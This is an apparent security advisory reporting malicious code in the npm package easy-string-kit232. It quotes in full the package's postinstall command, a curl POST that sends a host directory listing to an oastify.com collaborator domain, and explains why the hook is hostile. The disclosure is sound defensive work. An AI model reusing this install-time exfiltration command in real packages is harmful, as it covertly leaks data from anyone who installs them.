Summary: Malicious code in easy-string-kit232 (npm)

Details: Source: amazon-inspector (9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5) package.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d "$(ls -la /data/logs/)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. This shells out at install time, captures a directory listing of `/data/logs/` on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.
